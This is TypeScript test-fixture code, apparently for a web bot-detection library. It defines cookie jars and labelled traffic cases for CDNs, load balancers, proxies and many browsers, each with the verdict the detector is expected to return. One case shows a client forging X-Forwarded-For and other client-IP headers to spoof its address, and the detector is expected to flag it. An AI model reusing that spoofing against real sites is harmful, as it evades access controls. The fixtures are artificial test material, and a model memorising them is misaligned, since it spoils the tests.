\"CQJd8YAQJd8YAAcABBENBhFsAP_gAEPgAAYgKPtV_G__bWlr8X73aftkeY1P9_h77sQxBhfJE-4FzLvW_JwXx2ExNA36tqIKmRIAu3TBIQNlHJDURVCgaogVryDMak2coTNKJ6BkiFMRO2dYCF5vmwtj-QKY5vr991dx2B-t7dr83dzyy4hHn3a5_2a0WJCdA5-tDfv9bROb-9IOd_x8v4v8_F_rE2_eT1l_tWvp7D9-cts7_XW89_fff_9Pn_-uB_-_3_vAAA\"],\n );\n }\n if (options.cloudflare === true) {\n pairs.push([\"__cf_bm\", `${digits(`${visitor}cf`, 22)}.${sessionStart}-1.0.1.1-${digits(`${visitor}cfb`, 40)}`]);\n pairs.push([\"cf_clearance\", `${digits(`${visitor}cfc`, 32)}-${sessionStart}-1.2.1.1-${digits(`${visitor}cfd`, 48)}`]);\n }\n if (options.productAnalytics === true) {\n pairs.push([\"_hjSessionUser_3184920\", `eyJpZCI6IjQ0NmE${digits(`${visitor}hj`, 8)}IiwiY3JlYXRlZCI6MTc1MzkyMDAwMH0=`]);\n pairs.push([\"intercom-id-jf7q2wnx\", `d8${digits(`${visitor}ic`, 6)}-4a1c-9e0b-${digits(`${visitor}ic2`, 12)}`]);\n }\n if (options.application !== false) {\n pairs.push([\"sid\", `s%3A${digits(`${visitor}sid`, 24)}.${digits(`${visitor}sig`, 26)}`]);\n pairs.push([\"csrftoken\", digits(`${visitor}csrf`, 32)]);\n }\n for (const [name, value] of options.extra ?? []) pairs.push([name, value]);\n\n return pairs.map(([name, value]) => `${name}=${value}`).join(\"; \");\n}\n\n/** A first-time visitor: no analytics history, only whatever this page set. */\nexport function freshVisitorJar(visitor = \"new\"): string {\n return cookieJar({ visitor, analytics: false, application: true });\n}\n\n/** A returning customer of a commercial site — the fullest jar in ordinary use. */\nexport function returningCustomerJar(visitor = \"returning\"): string {\n return cookieJar({\n visitor,\n analytics: true,\n advertising: true,\n consent: true,\n cloudflare: true,\n productAnalytics: true,\n application: true,\n extra: [\n [\"cart\", `${digits(`${visitor}cart`, 8)}%3A3items`],\n [\"locale\", \"en-GB\"],\n [\"currency\", \"GBP\"],\n ],\n });\n}\n","import { browser, plain } from \"./headers.js\";\nimport { returningCustomerJar } from \"./cookies.js\";\nimport { bot, human } from \"./schema.js\";\nimport type { Header } from \"./headers.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * The machinery between the client and the origin.\n *\n * CDNs revalidating a cached object, edge functions calling back, API gateways\n * forwarding, service meshes probing, mirrors of your own content. None of it is a\n * person and almost none of it is unwelcome, and the recurring lesson is the same:\n * **the answer is usually `ignorePaths` or the allowlist, not a detector.**\n *\n * This section also carries the cases that matter most for getting the client address\n * right, because everything here adds a forwarding header. `X-Forwarded-For` is\n * client-supplied; trusting it without knowing your topology hands the choice of\n * identity to whoever is sending.\n */\n\nfunction edge(id: string, title: string, userAgent: string, provenance: string, extra: readonly Header[] = [], options: { notes?: string; certain?: boolean } = {}): TrafficCase {\n return bot({\n id,\n title,\n audience: \"infrastructure\",\n category: \"edge-infrastructure\",\n provenance,\n ...(options.notes !== undefined ? { notes: options.notes } : {}),\n requests: [plain(userAgent, [[\"Accept-Encoding\", \"gzip, br\"], ...extra])],\n expect: { neverAction: [\"block\", \"drop\", \"redirect\"] },\n tags: [\"allowlist-candidate\"],\n });\n}\n\nexport const CDN_GATEWAY_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // CDN and edge fetchers pulling from origin.\n // ---------------------------------------------------------------------------\n edge(\"edge-cloudflare-origin\", \"Cloudflare fetching from origin\", \"Mozilla/5.0 (compatible; Cloudflare-Traffic-Manager/1.0; +https://www.cloudflare.com/bot)\", \"A CDN revalidating a cached object presents its own identity to the origin\", [[\"CF-Connecting-IP\", \"203.0.113.88\"], [\"CF-Ray\", \"8f2a1c7d4e9b3210-LHR\"], [\"CF-IPCountry\", \"GB\"], [\"X-Forwarded-For\", \"203.0.113.88\"], [\"X-Forwarded-Proto\", \"https\"]], { notes: \"The real client address arrives in CF-Connecting-IP, which only Cloudflare can set. Reading X-Forwarded-For here instead would take whatever the client wrote.\" }),\n edge(\"edge-fastly-shield\", \"Fastly shield-tier fetch\", \"Mozilla/5.0 (compatible; Fastly/1.0)\", \"A shield POP consolidating requests before they reach origin\", [[\"Fastly-Client-IP\", \"198.51.100.44\"], [\"X-Forwarded-For\", \"198.51.100.44, 151.101.1.1\"], [\"Fastly-FF\", \"a1b2c3\"], [\"X-Varnish\", \"912837465\"]]),\n edge(\"edge-akamai\", \"Akamai edge fetch\", \"Mozilla/5.0 (compatible; Akamai/1.0)\", \"Akamai forwards the client address in True-Client-IP\", [[\"True-Client-IP\", \"192.0.2.77\"], [\"X-Forwarded-For\", \"192.0.2.77\"], [\"Akamai-Origin-Hop\", \"2\"], [\"Via\", \"1.1 v1-akamaitech.net(ghost) (AkamaiGHost)\"]]),\n edge(\"edge-cloudfront\", \"CloudFront origin request\", \"Amazon CloudFront\", \"CloudFront identifies itself with a bare product name and adds its own viewer headers\", [[\"X-Amz-Cf-Id\", \"K3sLmN9pQrStUvWxYz01234567890AbCdEfGhIjKlMnOpQrSt==\"], [\"CloudFront-Viewer-Country\", \"DE\"], [\"CloudFront-Is-Mobile-Viewer\", \"false\"], [\"X-Forwarded-For\", \"198.51.100.9\"], [\"Via\", \"2.0 a1b2c3d4.cloudfront.net (CloudFront)\"]], { certain: false }),\n edge(\"edge-bunny\", \"Bunny CDN origin pull\", \"Mozilla/5.0 (compatible; BunnyCDN/1.0)\", \"A smaller CDN pulling an uncached object\", [[\"X-Forwarded-For\", \"203.0.113.5\"], [\"CDN-PullZone\", \"184920\"], [\"CDN-RequestCountryCode\", \"PL\"]]),\n edge(\"edge-vercel\", \"Vercel edge function calling back to the API\", \"Vercel Edge Functions\", \"A serverless edge runtime invoking an origin route\", [[\"X-Vercel-Id\", \"lhr1::iad1::abcde-1756544400123-1a2b3c4d5e6f\"], [\"X-Vercel-IP-Country\", \"GB\"], [\"X-Forwarded-For\", \"203.0.113.201\"]], { certain: false }),\n edge(\"edge-cloudflare-worker\", \"A Cloudflare Worker subrequest\", \"Mozilla/5.0 (compatible; Cloudflare-Workers/1.0)\", \"Workers make subrequests that arrive at origin with their own identity\", [[\"CF-Worker\", \"shop.example\"], [\"X-Forwarded-For\", \"203.0.113.14\"]]),\n\n // ---------------------------------------------------------------------------\n // Gateways, meshes and load balancers.\n // ---------------------------------------------------------------------------\n edge(\"edge-aws-alb-health\", \"An ALB health check\", \"ELB-HealthChecker/2.0\", \"The load balancer deciding whether this target is in service\", [[\"Connection\", \"close\"]], { notes: \"Perfectly regular, from a fixed private address, forever. Letting a bot policy decide whether the load balancer believes you are healthy is how a false positive becomes a rolling restart.\" }),\n edge(\"edge-gcp-health\", \"A Google Cloud health check\", \"GoogleHC/1.0\", \"The equivalent on Google Cloud load balancing\", []),\n edge(\"edge-azure-probe\", \"An Azure Front Door probe\", \"Edge Health Probe\", \"Azure Front Door probing origin health from every edge location it serves from\", []),\n edge(\"edge-envoy-mesh\", \"An Envoy sidecar forwarding within a service mesh\", \"Envoy/HC\", \"Service-mesh health checking between sidecars\", [[\"X-Envoy-Internal\", \"true\"], [\"X-Request-Id\", \"0b4d1c8a-3f2e-4a91-b7c6-52e0d8f19a3b\"], [\"X-Envoy-Expected-Rq-Timeout-Ms\", \"15000\"]], { certain: false }),\n edge(\"edge-istio-probe\", \"An Istio readiness probe\", \"kube-probe/1.32\", \"Kubernetes probing the sidecar rather than the application\", []),\n edge(\"edge-nginx-upstream\", \"An nginx reverse proxy forwarding a browser request\", \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36\", \"The proxy passes the client's User-Agent through and adds forwarding headers of its own\", [[\"X-Real-IP\", \"203.0.113.130\"], [\"X-Forwarded-For\", \"203.0.113.130\"], [\"X-Forwarded-Proto\", \"https\"], [\"X-Forwarded-Host\", \"shop.example\"]], { certain: false, notes: \"The User-Agent belongs to a person; the connection belongs to the proxy. Getting the address wrong here mislabels a real customer as the proxy, or the proxy as a customer.\" }),\n edge(\"edge-haproxy-forward\", \"HAProxy forwarding with a Forwarded header\", \"curl/8.12.1\", \"The standardised Forwarded header from RFC 7239, still much rarer than X-Forwarded-For\", [[\"Forwarded\", \"for=192.0.2.60;proto=https;by=203.0.113.43\"], [\"X-Forwarded-For\", \"192.0.2.60\"]], { certain: false }),\n edge(\"edge-api-gateway\", \"An API gateway forwarding an authenticated call\", \"AmazonAPIGateway_a1b2c3d4e5\", \"API Gateway rewrites the request entirely before it reaches the integration\", [[\"X-Amzn-Trace-Id\", \"Root=1-68b2a1c0-1a2b3c4d5e6f708192a3b4c5\"], [\"X-Forwarded-For\", \"198.51.100.120\"], [\"X-Forwarded-Port\", \"443\"]], { certain: false }),\n edge(\"edge-kong\", \"Kong forwarding upstream\", \"Kong/3.9.0\", \"An API gateway adding its own trace headers\", [[\"X-Kong-Request-Id\", \"9f8e7d6c5b4a39281706\"], [\"X-Forwarded-For\", \"203.0.113.66\"]], { certain: false }),\n\n // ---------------------------------------------------------------------------\n // Address resolution: the highest-consequence configuration in the library.\n // ---------------------------------------------------------------------------\n human({\n id: \"edge-person-behind-two-proxies\",\n title: \"A person behind a CDN and a reverse proxy\",\n category: \"forwarding\",\n provenance: \"Two hops: the CDN appends the client, the reverse proxy appends the CDN. Reading the wrong entry mislabels a customer.\",\n notes:\n \"The chain is client, then CDN, then proxy. With `trustedProxies` configured the walk stops at the first address that is not yours, which is the customer. With a hop count that is wrong by one it stops at the CDN, and every customer behind that CDN becomes one actor.\",\n requests: [\n {\n ...browser(\"chromeWindows\", { cookie: returningCustomerJar(\"proxied\"), kind: \"same-origin-navigate\", referer: \"https://shop.example/\" }),\n headers: [\n ...browser(\"chromeWindows\", { cookie: returningCustomerJar(\"proxied\"), kind: \"same-origin-navigate\", referer: \"https://shop.example/\" }).headers,\n [\"X-Forwarded-For\", \"203.0.113.210, 198.51.100.1, 10.0.0.7\"],\n [\"X-Forwarded-Proto\", \"https\"],\n [\"Via\", \"1.1 cdn-edge (squid/6.6), 1.1 lb-01\"],\n ],\n path: \"/products/91\",\n },\n ],\n expect: { certain: false },\n }),\n bot({\n id: \"edge-xff-header-injection\",\n title: \"A client writing a forged chain into X-Forwarded-For\",\n audience: \"hostile\",\n category: \"forwarding\",\n provenance: \"Prepending entries is free; the header is whatever the sender types\",\n notes:\n \"Whatever it writes, it is still a bare library client and is classified as one. Address spoofing changes which *actor* the request is attributed to, not what the request is — which is why the classification and the actor key are separate concerns.\",\n requests: [\n {\n headers: [[\"Host\", \"shop.example\"], [\"User-Agent\", \"curl/8.12.1\"], [\"Accept\", \"*/*\"], [\"X-Forwarded-For\", \"66.249.66.1, 8.8.8.8, 1.1.1.1\"], [\"X-Real-IP\", \"66.249.66.1\"], [\"True-Client-IP\", \"66.249.66.1\"], [\"CF-Connecting-IP\", \"66.249.66.1\"]],\n ip: \"192.0.2.222\",\n protocol: \"https\",\n httpVersion: \"1.1\",\n },\n ],\n expect: { verdict: \"confirmed-bot\", botClass: \"http-client\", certain: true },\n tags: [\"security\"],\n }),\n\n // ---------------------------------------------------------------------------\n // Mirrors, caches and other people's infrastructure carrying your content.\n // ---------------------------------------------------------------------------\n edge(\"edge-google-amp\", \"Google AMP cache fetching a page\", \"Mozilla/5.0 (compatible; Google-AMPHTML; +http://www.google.com/bot.html)\", \"The AMP cache re-serves your page from Google's infrastructure\"),\n edge(\"edge-cloudflare-alwaysonline\", \"Cloudflare Always Online archiving a page\", \"Mozilla/5.0 (compatible; CloudflareAlwaysOnline/1.0; +http://www.cloudflare.com/always-online) AppleWebKit/534.34\", \"Cloudflare snapshots pages so it can serve them while your origin is down\"),\n edge(\"edge-wordpress-jetpack\", \"Jetpack fetching from a WordPress site\", \"Jetpack by WordPress.com\", \"Jetpack proxies images and stats through WordPress.com infrastructure\", [], { certain: false }),\n edge(\"edge-imgproxy\", \"An image proxy fetching a source image\", \"imgproxy/3.27.2\", \"Image proxies fetch originals and re-encode them\", [], { certain: false }),\n edge(\"edge-wayback-replay\", \"The Wayback Machine replaying an archived page\", \"Mozilla/5.0 (compatible; archive.org_bot; +http://archive.org/details/archive.org_bot)\", \"Replay fetches missing subresources live from the origin\"),\n edge(\"edge-rss-proxy\", \"A feed proxy normalising a feed\", \"Mozilla/5.0 (compatible; FeedBurner/1.0; +https://feedburner.google.com)\", \"Feed proxies fetch once and fan out to many subscribers\"),\n];\n","import { browser } from \"./headers.js\";\nimport { cookieJar, freshVisitorJar, returningCustomerJar } from \"./cookies.js\";\nimport { human } from \"./schema.js\";\nimport type { ProfileName, ProfileOptions } from \"./headers.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * People, browser by browser.\n *\n * Every current engine on every platform that carries meaningful traffic, each\n * request built with the whole apparatus a real browser sends: the Client Hints\n * block, the Fetch Metadata group, a cookie jar from a visitor who has actually used\n * the web, cache validators on a revisit, `Priority`, and the long tail of\n * conditional headers — `Sec-GPC`, `Save-Data`, `Sec-Purpose`, `Early-Data`,\n * `Sec-CH-Prefers-*`, the Network Information hints.\n *\n * The point of the volume is coverage of *populations*, not of code paths. Amazon\n * Silk, UC Browser, MIUI Browser and QQ Browser between them carry hundreds of\n * millions of people who are invisible in a corpus assembled from a European\n * developer's own devices — and they are precisely the clients that a naive \"modern\n * Chromium sends Client Hints\" check misclassifies.\n */\n\nconst SITE = \"https://shop.example\";\n\ninterface Scenario {\n suffix: string;\n title: string;\n options: ProfileOptions;\n path?: string;\n}\n\n/** One realistic first visit per profile: fresh cookies, no referrer, user-initiated. */\nfunction landing(name: ProfileName, title: string, provenance: string, options: ProfileOptions = {}, notes?: string): TrafficCase {\n return human({\n id: `browse-${kebab(name)}`,\n title,\n category: \"browser-population\",\n provenance,\n ...(notes !== undefined ? { notes } : {}),\n requests: [{ ...browser(name, { cookie: freshVisitorJar(name), ...options }), path: \"/\" }],\n expect: { certain: false, verdict: [\"unknown\", \"human\"] },\n });\n}\n\nfunction kebab(name: string): string {\n return name.replace(/([a-z0-9])([A-Z])/g, \"$1-$2\").toLowerCase();\n}\n\n/** Extra scenarios for the profiles that carry the most traffic. */\nfunction scenarios(name: ProfileName, label: string, list: readonly Scenario[]): TrafficCase[] {\n return list.map((scenario) =>\n human({\n id: `browse-${kebab(name)}-${scenario.suffix}`,\n title: `${label}: ${scenario.title}`,\n category: \"browser-scenario\",\n provenance: \"Header set derived from the engine's documented behaviour for this request kind\",\n requests: [{ ...browser(name, scenario.options), ...(scenario.path !== undefined ? { path: scenario.path } : {}) }],\n expect: { certain: false, verdict: [\"unknown\", \"human\"] },\n }),\n );\n}\n\nconst COMMON: readonly Scenario[] = [\n {\n suffix: \"returning\",\n title: \"a returning customer following an internal link\",\n path: \"/products/1184\",\n options: { kind: \"same-origin-navigate\", referer: `${SITE}/products`, cookie: returningCustomerJar(\"regular\") },\n },\n {\n suffix: \"high-entropy-hints\",\n title: \"after the server asked for high-entropy Client Hints\",\n path: \"/checkout\",\n options: { kind: \"same-origin-navigate\", referer: `${SITE}/basket`, cookie: returningCustomerJar(\"hints\"), highEntropyHints: true, prefers: { colorScheme: \"dark\", reducedMotion: \"no-preference\" } },\n },\n {\n suffix: \"xhr\",\n title: \"an in-page fetch() for JSON\",\n path: \"/api/basket\",\n options: { kind: \"xhr\", cookie: returningCustomerJar(\"xhr\"), origin: SITE },\n },\n {\n suffix: \"reload\",\n title: \"pressing reload on a page it already has cached\",\n path: \"/products/1184\",\n options: { kind: \"navigate\", cookie: returningCustomerJar(\"reload\"), reload: true, revalidate: { etag: 'W/\"6a9-19256f0c1d8\"', modifiedSince: \"Fri, 29 Aug 2026 14:22:10 GMT\" } },\n },\n {\n suffix: \"form-post\",\n title: \"submitting the checkout form\",\n path: \"/checkout/confirm\",\n options: { kind: \"form-post\", referer: `${SITE}/checkout`, origin: SITE, cookie: returningCustomerJar(\"post\"), contentType: \"application/x-www-form-urlencoded\", contentLength: 284 },\n },\n];\n\nconst MOBILE_EXTRAS: readonly Scenario[] = [\n {\n suffix: \"metered\",\n title: \"on a metered connection with data saver on\",\n path: \"/products\",\n options: { kind: \"same-origin-navigate\", referer: `${SITE}/`, cookie: cookieJar({ visitor: \"metered\" }), saveData: true, networkHints: { rtt: 300, downlink: 0.4, ect: \"3g\" } },\n },\n {\n suffix: \"prefetch\",\n title: \"a speculative prefetch while a link is hovered\",\n path: \"/products/2210\",\n options: { kind: \"same-origin-navigate\", referer: `${SITE}/products`, cookie: cookieJar({ visitor: \"prefetch\" }), prefetch: true },\n },\n];\n\nexport const HUMAN_BROWSER_CASES: TrafficCase[] = [\n // ---------------------------------------------------------------------------\n // Chromium desktop\n // ---------------------------------------------------------------------------\n landing(\"chromeWindows\", \"Chrome 152 on Windows 11\", \"2026 User-Agent lists; Chromium freezes the minor version fields to 0.0.0 so the header leaks less\"),\n landing(\"chromeMac\", \"Chrome 152 on an Apple-silicon Mac\", \"2026 User-Agent lists; the platform is reported as macOS through Client Hints while the UA still says Mac OS X 10_15_7\"),\n landing(\"chromeLinux\", \"Chrome 152 on Linux\", \"2026 User-Agent lists. A small population that trips heuristics keyed on desktop operating-system share\"),\n landing(\"chromeChromeOs\", \"Chrome 151 on a Chromebook\", \"CrOS builds carry a board and milestone in the UA and report 'Chrome OS' as the platform hint\"),\n landing(\"edgeWindows\", \"Edge 150 on Windows\", \"Edge reports Chromium brands alongside its own and truncates its version to major.0.0.0 in the UA\"),\n landing(\"edgeMac\", \"Edge 150 on macOS\", \"The same build on a different platform; only the platform hint and UA platform token differ\"),\n landing(\"operaWindows\", \"Opera 135 on Windows\", \"Opera carries an OPR/ token after the Chrome/ token and reports an Opera brand\"),\n landing(\"vivaldiWindows\", \"Vivaldi 7.6 on Windows\", \"Vivaldi appends its own token and reports a Vivaldi brand alongside Chromium\"),\n landing(\n \"braveWindows\",\n \"Brave on Windows with Shields up\",\n \"Brave presents an unmodified Chrome identity by design so that its users are not singled out, and adds Sec-GPC\",\n { gpc: true, dnt: true },\n \"Deliberately indistinguishable from Chrome in the UA. The only tell is Sec-GPC, which is a privacy signal rather than an automation one — reading it as suspicious would invert its purpose.\",\n ),\n landing(\"yandexWindows\", \"Yandex Browser 25.8 on Windows\", \"The dominant browser in Russia; reports YaBrowser and Yowser brands alongside Chromium\"),\n\n // ---------------------------------------------------------------------------\n // Gecko\n // ---------------------------------------------------------------------------\n landing(\"firefoxWindows\", \"Firefox 148 on Windows\", \"2026 User-Agent lists. Gecko implements no Client Hints at all, which is correct and must not read as an omission\"),\n landing(\"firefoxMac\", \"Firefox 148 on macOS\", \"2026 User-Agent lists\"),\n landing(\"firefoxLinux\", \"Firefox 148 on Linux, German locale\", \"2026 User-Agent lists; a four-entry Accept-Language chain is entirely ordinary in Europe\"),\n landing(\"firefoxEsr\", \"Firefox 140 ESR in a managed enterprise fleet\", \"ESR trails the release channel by roughly a year and is what most managed desktops run\"),\n landing(\"firefoxAndroid\", \"Firefox 148 on Android\", \"Gecko on Android reports Mobile in the UA and, like desktop Gecko, sends no Client Hints\"),\n\n // ---------------------------------------------------------------------------\n // WebKit\n // ---------------------------------------------------------------------------\n landing(\"safariMac\", \"Safari 18.7 on macOS\", \"WebKit interleaves the Fetch Metadata headers with content negotiation rather than grouping them\"),\n landing(\"safariIos\", \"Safari 18.7 on an iPhone\", \"2026 User-Agent lists; the Mobile/15E148 build token has been frozen for years\"),\n landing(\"safariIpad\", \"Safari 18.7 on an iPad\", \"iPadOS reports an iPad UA in mobile mode; in desktop-class mode it reports a Macintosh UA instead\"),\n landing(\"chromeIos\", \"Chrome on iOS\", \"CriOS is WebKit underneath — iOS permits no other engine — so its header order is Safari's, not Chromium's\", {}, \"A client whose User-Agent says Chrome and whose header order says Safari. Both are true, and a naive engine-versus-order consistency check would call it a forgery.\"),\n landing(\"firefoxIos\", \"Firefox on iOS\", \"FxiOS is likewise WebKit; the Gecko name in the product token describes the brand, not the engine\"),\n landing(\"edgeIos\", \"Edge on iOS\", \"EdgiOS is WebKit too; iOS permits no other engine, so every browser there shares Safari's header order\"),\n landing(\"duckduckgoIos\", \"DuckDuckGo browser on iOS\", \"Appends a DuckDuckGo token to an otherwise standard Safari string\", { gpc: true }),\n\n // ---------------------------------------------------------------------------\n // Chromium mobile\n // ---------------------------------------------------------------------------\n landing(\"chromeAndroid\", \"Chrome 150 on an Android phone\", \"The device string has been frozen to 'Android 10; K' since Chrome 110 to reduce passive fingerprinting\"),\n landing(\n \"chromeAndroidTablet\",\n \"Chrome 150 on an Android tablet\",\n \"Chromium omits the Mobile product token on tablets and sets Sec-CH-UA-Mobile to ?0 from the same internal state\",\n {},\n \"The case that caught a real bug: a check testing the User-Agent for the operating system rather than for the Mobile token read this correct pairing as a contradiction, on every Android tablet on the web.\",\n ),\n landing(\"samsungInternet\", \"Samsung Internet 29 on a Galaxy S25\", \"The default browser on Samsung devices and the second most-used mobile browser worldwide\"),\n landing(\"operaAndroid\", \"Opera 91 on Android, Indonesian locale\", \"Opera has a large share across Southeast Asia\"),\n landing(\"edgeAndroid\", \"Edge 150 on Android\", \"EdgA is genuine Chromium and does send Client Hints\"),\n\n // ---------------------------------------------------------------------------\n // Regional Chromium forks. Hundreds of millions of people, pinned to older\n // Chromium releases and not sending the modern header set.\n // ---------------------------------------------------------------------------\n landing(\n \"ucBrowser\",\n \"UC Browser on Android in India\",\n \"UC Browser runs a Chromium fork pinned well behind the release channel and does not send Client Hints or Fetch Metadata\",\n {},\n \"A client claiming Chrome 100 with none of the headers Chrome 100 sends. Read literally that is a strong impersonation signal; read correctly it is one of the most-used browsers in South Asia.\",\n ),\n landing(\"miBrowser\", \"MIUI Browser on a Xiaomi phone\", \"The default browser on Xiaomi devices, based on an older Chromium and shipping a reduced header set\"),\n landing(\"huaweiBrowser\", \"Huawei Browser on an HMS device\", \"The default browser on Huawei devices outside Google Mobile Services\"),\n landing(\"qqBrowser\", \"QQ Browser on Android in China\", \"One of the most-used mobile browsers in China; a Chromium fork with its own release cadence\"),\n\n // ---------------------------------------------------------------------------\n // Televisions, consoles and embedded. Old engines, odd header sets, real people.\n // ---------------------------------------------------------------------------\n landing(\"silkKindle\", \"Amazon Silk on a Fire tablet\", \"Silk identifies itself as 'like Chrome' rather than as Chrome, and is a Chromium fork on Amazon's own cadence\"),\n landing(\"tizenTv\", \"A Samsung television browser\", \"Tizen builds report SMART-TV and a Chromium version years behind the desktop channel\"),\n landing(\"webOsTv\", \"An LG television browser\", \"webOS builds append WebAppManager and carry an old Chromium\"),\n landing(\"playstation\", \"A PlayStation 5 system browser\", \"WebKit-based, with a frozen Version/16.0 and no Fetch Metadata\"),\n landing(\"nintendoSwitch\", \"A Nintendo Switch browser\", \"The Switch's captive-portal browser, an old WebKit with a distinctive NintendoBrowser token\"),\n\n // ---------------------------------------------------------------------------\n // The same clients doing the things people actually do with them.\n // ---------------------------------------------------------------------------\n ...scenarios(\"chromeWindows\", \"Chrome on Windows\", COMMON),\n ...scenarios(\"firefoxWindows\", \"Firefox on Windows\", COMMON),\n ...scenarios(\"safariMac\", \"Safari on macOS\", COMMON),\n ...scenarios(\"edgeWindows\", \"Edge on Windows\", COMMON),\n ...scenarios(\"safariIos\", \"Safari on iPhone\", [...COMMON, ...MOBILE_EXTRAS]),\n ...scenarios(\"chromeAndroid\", \"Chrome on Android\", [...COMMON, ...MOBILE_EXTRAS]),\n ...scenarios(\"samsungInternet\", \"Samsung Internet\", MOBILE_EXTRAS),\n ...scenarios(\"chromeMac\", \"Chrome on macOS\", COMMON.slice(0, 3)),\n ...scenarios(\"firefoxAndroid\", \"Firefox on Android\", MOBILE_EXTRAS),\n\n // ---------------------------------------------------------------------------\n // The awkward edges of ordinary browsing.\n // ---------------------------------------------------------------------------\n human({\n id: \"browse-early-data-resumption\",\n title: \"A TLS 1.3 resumption replayed as early data\",\n category: \"browser-scenario\",\n provenance: \"0-RTT resumption; the terminating proxy marks the request Early-Data: 1 so the origin can decide whether to risk replaying it\",\n requests: [{ ...browser(\"chromeWindows\", { cookie: returningCustomerJar(\"early\"), earlyData: true, kind: \"same-origin-navigate\", referer: `${SITE}/` }), path: \"/products\" }],\n expect: { certain: false },\n }),\n human({\n id: \"browse-third-party-iframe\",\n title: \"A page embedded in a third-party iframe\",\n category: \"browser-scenario\",\n provenance: \"Cross-site iframe load; recent Chromium adds Sec-Fetch-Storage-Access to describe its storage partition\",\n requests: [{ ...browser(\"chromeWindows\", { kind: \"iframe\", referer: \"https://partner.example/\", storageAccess: \"none\" }), path: \"/embed/widget\" }],\n expect: { certain: false },\n }),\n human({\n id: \"browse-video-range-request\",\n title: \"A video player asking for a byte range\",\n category: \"browser-scenario\",\n provenance: \"HTML media elements issue Range requests with Sec-Fetch-Dest: video\",\n requests: [{ ...browser(\"safariMac\", { kind: \"media\", range: \"bytes=2097152-4194303\", referer: `${SITE}/products/1184` }), path: \"/media/demo.mp4\" }],\n expect: { certain: false },\n }),\n human({\n id: \"browse-eventsource-stream\",\n title: \"An EventSource stream for live stock updates\",\n category: \"browser-scenario\",\n provenance: \"EventSource sends Accept: text/event-stream and holds the connection open\",\n requests: [{ ...browser(\"chromeWindows\", { kind: \"eventsource\", cookie: returningCustomerJar(\"sse\"), origin: SITE }), path: \"/api/stock-stream\" }],\n expect: { certain: false },\n }),\n human({\n id: \"browse-cross-origin-cors\",\n title: \"A cross-origin API call from a partner's page\",\n category: \"browser-scenario\",\n provenance: \"Cross-site fetch with an Origin header and Sec-Fetch-Site: cross-site\",\n requests: [{ ...browser(\"chromeWindows\", { kind: \"cors\", origin: \"https://partner.example\" }), path: \"/api/public/catalog\" }],\n expect: { certain: false },\n }),\n human({\n id: \"browse-stylesheet-and-script\",\n title: \"The subresources of a page load\",\n category: \"browser-scenario\",\n provenance: \"Stylesheet and script requests carry their own Accept values and Sec-Fetch-Dest\",\n requests: [\n { ...browser(\"chromeWindows\", { kind: \"stylesheet\", referer: `${SITE}/` }), path: \"/assets/app.css\", atMs: 0 },\n { ...browser(\"chromeWindows\", { kind: \"script\", referer: `${SITE}/` }), path: \"/assets/app.js\", atMs: 40 },\n { ...browser(\"chromeWindows\", { kind: \"subresource\", referer: `${SITE}/` }), path: \"/assets/hero.avif\", atMs: 90 },\n ],\n expect: { certain: false },\n }),\n human({\n id: \"browse-dark-mode-reduced-motion\",\n title: \"Somebody who prefers dark mode and reduced motion\",\n category: \"browser-scenario\",\n provenance: \"Sec-CH-Prefers-Color-Scheme and Sec-CH-Prefers-Reduced-Motion, sent once a server advertises Accept-CH\",\n notes: \"Reduced motion is frequently an accessibility setting rather than a taste. A signal that read unusual preferences as suspicious would land hardest on the people least able to work around it.\",\n requests: [{ ...browser(\"chromeWindows\", { cookie: returningCustomerJar(\"prefs\"), prefers: { colorScheme: \"dark\", reducedMotion: \"reduce\" }, highEntropyHints: true }), path: \"/\" }],\n expect: { certain: false },\n tags: [\"accessibility\"],\n }),\n human({\n id: \"browse-layout-hints\",\n title: \"A responsive image request carrying layout hints\",\n category: \"browser-scenario\",\n provenance: \"Viewport-Width and DPR, sent when the server asks for them so it can pick an image size\",\n requests: [{ ...browser(\"chromeAndroid\", { kind: \"subresource\", layoutHints: { viewportWidth: 412, dpr: 2.625 }, referer: `${SITE}/products/1184` }), path: \"/img/1184.avif\" }],\n expect: { certain: false },\n }),\n human({\n id: \"browse-do-not-track\",\n title: \"Somebody sending the deprecated DNT header\",\n category: \"browser-scenario\",\n provenance: \"DNT is deprecated and still sent by a meaningful minority, often alongside Sec-GPC\",\n requests: [{ ...browser(\"firefoxWindows\", { dnt: true, gpc: true, cookie: freshVisitorJar(\"dnt\") }), path: \"/\" }],\n expect: { certain: false, verdict: \"unknown\" },\n }),\n];\n","import { plain } from \"./headers.js\";\nimport { cookieJar } from \"./cookies.js\";\nimport { human } from \"./schema.js\";\nimport type { Header } from \"./headers.js\";\nimport type { TrafficCase } from \"./schema.js\";\n\n/**\n * People inside somebody else's app.\n *\n * A large and growing share of mobile traffic never touches a standalone browser. A\n * link tapped in Instagram, TikTok, Discord or a banking app opens in an embedded\n * WebView: a real engine, a real person, and a User-Agent carrying the host\n * application's name bolted onto the end.\n *\n * These are the clients most likely to be misread, for a specific reason. An embedded\n * WebView is frequently pinned to an older Chromium and frequently omits the Client\n * Hints and Fetch Metadata that a standalone browser of the claimed version would\n * send. Read literally that is a strong impersonation signal. Read correctly it is\n * a customer who tapped a link in an app.\n *\n * The desktop half of the file is the same problem in a different shape: Electron\n * applications embed a real Chromium with a person driving it, and one of them —\n * VS Code's Simple Browser — was misclassified as proven automation by a shipped\n * version of this library.\n */\n\n/** An in-app WebView: an engine string, an app suffix, and the reduced header set they send. */\nfunction webview(id: string, title: string, userAgent: string, provenance: string, options: { notes?: string; extra?: readonly Header[]; language?: string; cookie?: boolean } = {}): TrafficCase {\n const headers: Header[] = [\n [\"Accept\", \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8\"],\n [\"Accept-Language\", options.language ?? \"en-GB,en;q=0.9\"],\n [\"Accept-Encoding\", \"gzip, deflate, br\"],\n [\"Upgrade-Insecure-Requests\", \"1\"],\n ...(options.extra ?? []),\n ...(options.cookie === false ? [] : ([[\"Cookie\", cookieJar({ visitor: id, analytics: true })]] as Header[])),\n ];\n return human({\n id,\n title,\n category: \"in-app-webview\",\n provenance,\n ...(options.notes !== undefined ? { notes: options.notes } : {}),\n requests: [plain(userAgent, headers)],\n expect: { certain: false },\n });\n}\n\nexport const HUMAN_APP_CASES: TrafficCase[] = [\n // 